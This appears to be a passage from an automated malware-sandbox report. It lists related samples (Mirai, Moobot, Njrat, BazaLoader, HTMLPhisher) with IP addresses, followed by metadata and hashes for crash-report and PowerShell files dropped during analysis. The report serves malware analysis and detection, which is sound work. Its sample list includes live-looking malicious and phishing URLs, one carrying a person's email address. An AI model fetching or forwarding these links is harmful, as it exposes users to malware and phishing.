	http://amtso.eicar.org/PotentiallyUnwanted.exe	Get hash	malicious	Unknown	Browse	81.7.7.163
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	91.143.90.105
	XAjV9ghiIb.elf	Get hash	malicious	Mirai, Moobot	Browse	81.89.108.196
	jXBjxhHQgR.exe	Get hash	malicious	CMSBrute	Browse	91.143.81.27
	FkrW3aRKek.elf	Get hash	malicious	Unknown	Browse	84.23.81.133
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	84.23.89.227
	http://naesh.pro	Get hash	malicious	Unknown	Browse	81.7.3.133
	file.exe	Get hash	malicious	BazaLoader	Browse	91.143.81.212
TEKSAVVYCA	ppc.elf	Get hash	malicious	Unknown	Browse	23.233.93.239
	Fantazy.x86.elf	Get hash	malicious	Unknown	Browse	107.190.70.194
	Owari.mpsl.elf	Get hash	malicious	Unknown	Browse	107.190.70.174
	mpsl.elf	Get hash	malicious	Unknown	Browse	24.212.209.209
	teste.ppc.elf	Get hash	malicious	Gafgyt, Mirai, Moobot, Okiru	Browse	23.233.93.207
	teste.arm.elf	Get hash	malicious	Gafgyt, Mirai, Moobot, Okiru	Browse	24.246.58.67
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	69.165.137.45
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	207.136.99.54
	sora.mpsl.elf	Get hash	malicious	Mirai	Browse	104.246.182.248
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	157.52.19.194
OVHFR	https://alluc.co/watch-movies/passengers.html	Get hash	malicious	Unknown	Browse	54.38.113.6
	Clienter.dll.dll	Get hash	malicious	Unknown	Browse	94.23.76.52
	https://quarantine-emails13122024bcpe038qua8303rantine0832411.s3.eu-central-3.ionoscloud.com/message.html#anneke.hanekom@mmiholdings.co.za	Get hash	malicious	HTMLPhisher	Browse	46.105.222.162
	1.elf	Get hash	malicious	Unknown	Browse	51.77.132.207
	236236236.elf	Get hash	malicious	Unknown	Browse	198.50.252.64
	sh4.elf	Get hash	malicious	Mirai	Browse	51.38.60.221
	ppc.elf	Get hash	malicious	Mirai	Browse	176.31.173.203
	i686.elf	Get hash	malicious	Mirai	Browse	51.91.63.124
	x86_64.elf	Get hash	malicious	Mirai	Browse	167.114.188.87
	Server.exe	Get hash	malicious	Njrat	Browse	139.99.66.103

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1587
Entropy (8bit):	5.164568638860538
Encrypted:	false
SSDEEP:	48:SbguRQlAGNccAQN6WeNLUNqwNuM30nTYamGr:SbgwQlTJdzembgnTnB
MD5:	9F42588EB85984F5F7E25F986FB90135
SHA1:	D5A60997E480279D1964D76D2BC3C3B0A9E6B34B
SHA-256:	9047039ACF79F2D8C9748444756412823D11A583FDCA0F63AE23F9B13AD22662
SHA-512:	3E9865A11DB2F8C58AEA71AAC60FF43E16A2D673BADB9F6239F7D0FE3B20ECFEB2F4E6D2A3A654C1858D0B0C07025B4F2651550DDC58049835586B0F9DFCC968
Malicious:	false
Preview:	System.AggregateException: One or more errors occurred. (Could not find file 'C:\Program Files\IntelProfileUpdater\app.config'.).. ---> System.IO.FileNotFoundException: Could not find file 'C:\Program Files\IntelProfileUpdater\app.config'...File name: 'C:\Program Files\IntelProfileUpdater\app.config'.. at Microsoft.Win32.SafeHandles.SafeFileHandle.CreateFile(String, FileMode, FileAccess, FileShare, FileOptions) + 0x151.. at Microsoft.Win32.SafeHandles.SafeFileHandle.Open(String, FileMode, FileAccess, FileShare, FileOptions, Int64, Nullable`1) + 0x44.. at System.IO.Strategies.OSFileStreamStrategy..ctor(String, FileMode, FileAccess, FileShare, FileOptions, Int64, Nullable`1) + 0x50.. at System.IO.Strategies.FileStreamHelpers.ChooseStrategyCore(String, FileMode, FileAccess, FileShare, FileOptions, Int64, Nullable`1) + 0xbc.. at System.IO.FileStream..ctor(String, FileMode, FileAccess, FileShare, Int32, FileOptions, Int64) + 0x8a.. at System.IO.File.AsyncStreamReader(String, Enc

C:\Program Files\IntelProfileUpdater\logs.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	146
Entropy (8bit):	4.168923361135764
Encrypted:	false
SSDEEP:	3:35zQbNqOBfj1+XyXF4nQbNqOBfj1+XyXFQ:J8wOBfjiy7wOBfjiya
MD5:	000ABF3178FF905FC94ABDBFA425F4B1
SHA1:	D8BA7162E80B73EC86F9A99D59489D5F51654BC5
SHA-256:	93A8770C3A92C4570C89E6FDD11B1A0CCE3E37569C2AE5864D7FFD95DC42C18C
SHA-512:	F4FF9B48A4CF0E903020FBAEF83C7C750F11D0733064090B75BE218C006CC90BCFCB634161F8514853AA0732F66D233DF18EC69813A64BC8BFF9BC73DCA2C9E9
Malicious:	false
Preview:	Is from dll: True..Is installed: True..Admin mode: True..Override: True..Is from dll: True..Is installed: True..Admin mode: True..Override: True..

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_uEh_5e5c28390f571c393353abfa25ab04eb163be97_e1ccb045_140f8350-4cfa-443e-a3cb-913d81dee73a\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7795624058578878
Encrypted:	false
SSDEEP:	96:CibFidnKiayKybsjN4RvWC+I6tQXIDcQGc6CcEHcw3U7XaXz+HbHgSQgJjmo8Fxc:9YKiaybZ0YGNkj9ZzuiFWZ24lO8E
MD5:	77B14A102CB27FB57E9D05325E0D689D
SHA1:	50F3DF2F1C75E17BF942BD6001D7FEE85A4980FA
SHA-256:	04A28BACD505C99F04D54EEF3DEDD3487BAA8B9D47E1D719BDFEE2718958F2C1
SHA-512:	D914A3ECD21D3E0DDCE488B6720CA849B9139A45BB38AE27AECBCDB8A300C971EB91C349786E061C3643E21FDC06C6888FC8A45CE2455931B7549DCAF5FDF737
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.6.4.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.9.0.6.1.6.3.4.6.7.6.7.7.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.8.9.0.6.1.6.5.0.1.4.5.5.4.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.4.0.f.8.3.5.0.-.4.c.f.a.-.4.4.3.e.-.a.3.c.b.-.9.1.3.d.8.1.d.e.e.7.3.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.a.8.e.4.c.4.4.-.d.7.d.b.-.4.6.1.1.-.b.0.5.f.-.5.c.6.7.e.4.0.4.d.6.3.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e._.u.E.h.N.6.7.h.u.i.V...d.l.l.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.e.0.-.0.0.0.1.-.0.0.1.4.-.2.9.3.5.-.2.b.5.5.7.1.5.0.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.d.d.3.9.9.a.e.4.6.3.0.3.3.4.3.f.9.f.0.d.a.1.8.9.a.e.e.1.1.c.6.7.b.d.8.6.8.2.2.2.!.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_uEh_fc301e34d6fcb61ad8c14ceff7e5e59f8a81dc_e1ccb045_41a9474c-6534-484b-b2bf-e72c3f832195\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7989426096928463
Encrypted:	false
SSDEEP:	96:uVFpKiuyKyDsjN4RvWC+sSpQXIDcQNc68ccEYcw3rV8XaXz+HbHgSQgJjmo8Fx5w:CuiuyDx0DpCf0j9rzuiFWZ24lO8E
MD5:	F554ADBCA300BF66B9BC48688308435C
SHA1:	5ACF7E58F988F116A57491437ED985D99446C290
SHA-256:	70170F4DC908B203AAC612AC65C48F9FCCBCA184180C5AF7168FE4BF939E7A63
SHA-512:	C055115A87B4C5F635655B049CFDEECA3A7C886ABA03FCC184DDCB88EF00DF349B670D0BEC1DF6D8068A23B2B24E443111D7EC8B27C78F94C409DDD20200FA87
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.6.4.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.9.0.6.1.5.4.2.6.5.3.8.5.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.8.9.0.6.1.5.4.6.7.1.6.3.5.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.1.a.9.4.7.4.c.-.6.5.3.4.-.4.8.4.b.-.b.2.b.f.-.e.7.2.c.3.f.8.3.2.1.9.5.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.a.b.9.6.3.0.3.-.a.8.c.b.-.4.1.0.8.-.9.5.c.6.-.9.6.0.c.1.b.3.f.9.d.6.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e._.u.E.h.N.6.7.h.u.i.V...d.l.l.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.0.1.0.-.0.0.0.1.-.0.0.1.4.-.5.d.a.8.-.b.9.4.f.7.1.5.0.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.d.d.3.9.9.a.e.4.6.3.0.3.3.4.3.f.9.f.0.d.a.1.8.9.a.e.e.1.1.c.6.7.b.d.8.6.8.2.2.2.!.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER263.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Dec 17 10:49:14 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	117872
Entropy (8bit):	1.345221737492787
Encrypted:	false
SSDEEP:	192:1yKVoqOMcFC73Sy7y40h6VIGnC23oqyvI5j2V9u5Uh7pfaxERBm1/Rr/ZL:4Ko1dFhkbToqyvK23u5UjM/Rr/l
MD5:	CEC9AD2E065599D88195C27ECB6654E0
SHA1:	C43D2EA98C7672B4B77E33D42B2EEE89EFD320FE
SHA-256:	9C8D1E4A16644D9D6E9EC5A5BF365ED4EE8AF9A1EACD8EE2AF5478603935694C
SHA-512:	74206475B590DA649A17ED69CEEB58BEC7598E681385F4D00F44DF8776CD7A11DE4FFC1FB99D317A7CB727E9DE0787737DEEC710EE3AF01C6C3231358D84D356
Malicious:	false
Preview:	MDMP..a..... .......*Wag....................................$...ZD..........T.......8...........T...........X...........................t...............................................................................eJ..............Lw......................T...........)Wag.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2657.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Dec 17 10:49:23 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	56514
Entropy (8bit):	1.6495484021995628
Encrypted:	false
SSDEEP:	96:598GSiTmrYveitMgnlZ4nRHZoi7Mc7ltQuSOBYi/HLNL29Xw/in2v6pWIKUmIBC2:4U8n8OMc7rjF0WfrX
MD5:	EE33AF73C965541E8D68A4BC8581A0A6
SHA1:	D818E7F39A7D11396392623403F50CB22B8EFC7A
SHA-256:	ACBDEEFF241FE4D451DED1718CD4234E2B60CB7F5A2F210FB58D6F4FF94CA912
SHA-512:	7F5CE3FC502DAB310F9503D86616AE17C73F94AE4491AD31C5B7E0CB22A3C11A5793FCB95E0E0D55F85CD312BE46246B918601F61682862131A1561CC934C37B
Malicious:	false
Preview:	MDMP..a..... .......3Wag........................$...............**..........T.......8...........T.......................................................................................................................eJ......D.......Lw......................T...........2Wag.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2761.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8606
Entropy (8bit):	3.694897737354076
Encrypted:	false
SSDEEP:	192:R6l7wVeJgiy22j6YCDzHWFgmfSSJpr789beE1fiKm:R6lXJ1yT6YUzHcgmfSSIeufm
MD5:	D682CF6E790165338AF6568A65D44114
SHA1:	304D42FECAC458A21EC3A301D2A83255CE1B325A
SHA-256:	0CBF21C6F61F4F6A0109705A07B8FEF6992B8844AA98EE988549C3245D61D2FB
SHA-512:	AC08B3F3CBF6FC0D4F93BFC4768A9F0AA641CE6DEAF1D6430C54F51995685D01CF51E3323E3FB2C3899D0A5D72833E08A12F833A408B0F17FB1500C5A83EEBF4
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.6.4.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER27C0.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4872
Entropy (8bit):	4.482190853960895
Encrypted:	false
SSDEEP:	48:cvIwWl8zsMJg771I9TD3EWpW8VYzoYm8M4JC+CM7F2yq8vhMw3ptSTSNad:uIjfKI7Qt7VoFJkW3poONad
MD5:	B5593A7E50E72E1DA2860E9EE4843ECD
SHA1:	0B96868EFE8C2C7868C9E697BA8804A4647C0005
SHA-256:	8BA3D9F186BEB2CCE0964F02AA828782B6DAE2D713BF938E8D15AD0164290C1B
SHA-512:	CF0315D89452FD64E26702ACFAF9757B5D1C3DC9AFFC15BCEFF89F4D2B1985417EFB8F7ABB85A04C4937ED1414F363BCEC084D2D517BC163E929E94176A17B5A
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="635152" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2E1.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	9050
Entropy (8bit):	3.7040317829999805
Encrypted:	false
SSDEEP:	192:R6l7wVeJzrPs6YCYrgmfSKdIpDM89bC4Efg2m:R6lXJ/E6Y9rgmfSKmCzf4
MD5:	4F5A65B3EC30CB5FC7129B6AB54C1F38
SHA1:	1891D5408978289C76A7C11517101A49D8994B55
SHA-256:	C281528E34DB67F6BB601D3AA53733741CE579E51BC911115D96222AE8200B74
SHA-512:	B7E4E61819295FDBDA2A17680C41770ADB68BC6570FBABBB64D9CB883C4D591F838933A5A7F405C5D34811914B6685B6D6FD682486382059CF72338CCE757569
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.1.1.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER350.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4873
Entropy (8bit):	4.483982888943283
Encrypted:	false
SSDEEP:	48:cvIwWl8zs9Jg771I9TD3EWpW8VY1Ym8M4JC+CMZFcmyq8vhMCiW18OptSTShqd:uIjfXI7Qt7VlJfW5VpoOhqd
MD5:	4C30A6E2E57B00D805C8FBB58CB015DA
SHA1:	A3DFB2D0ED1A15405F243D495B724AEBBD4CCEE7
SHA-256:	64095D20536702A6978383170F30CA3AECB6E45D4D2D50358C7F9C3927F13348
SHA-512:	2D2C30D06E469C0724E92A4A7ECE56B3746320628DF53FF6886D1F6FED54FD350E27BAC517F9C284096968994D14989CC623D31CDD6B1EFCD51CE31E7DF42AF8
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="635151" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_14oapfdy.n21.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_32vo1xfo.1ei.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4vrngnpp.beh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dujogeph.3uy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_exepyjte.wb5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_flkjbnl4.rxz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_if5iuchr.w3y.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r22k5vgz.tty.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
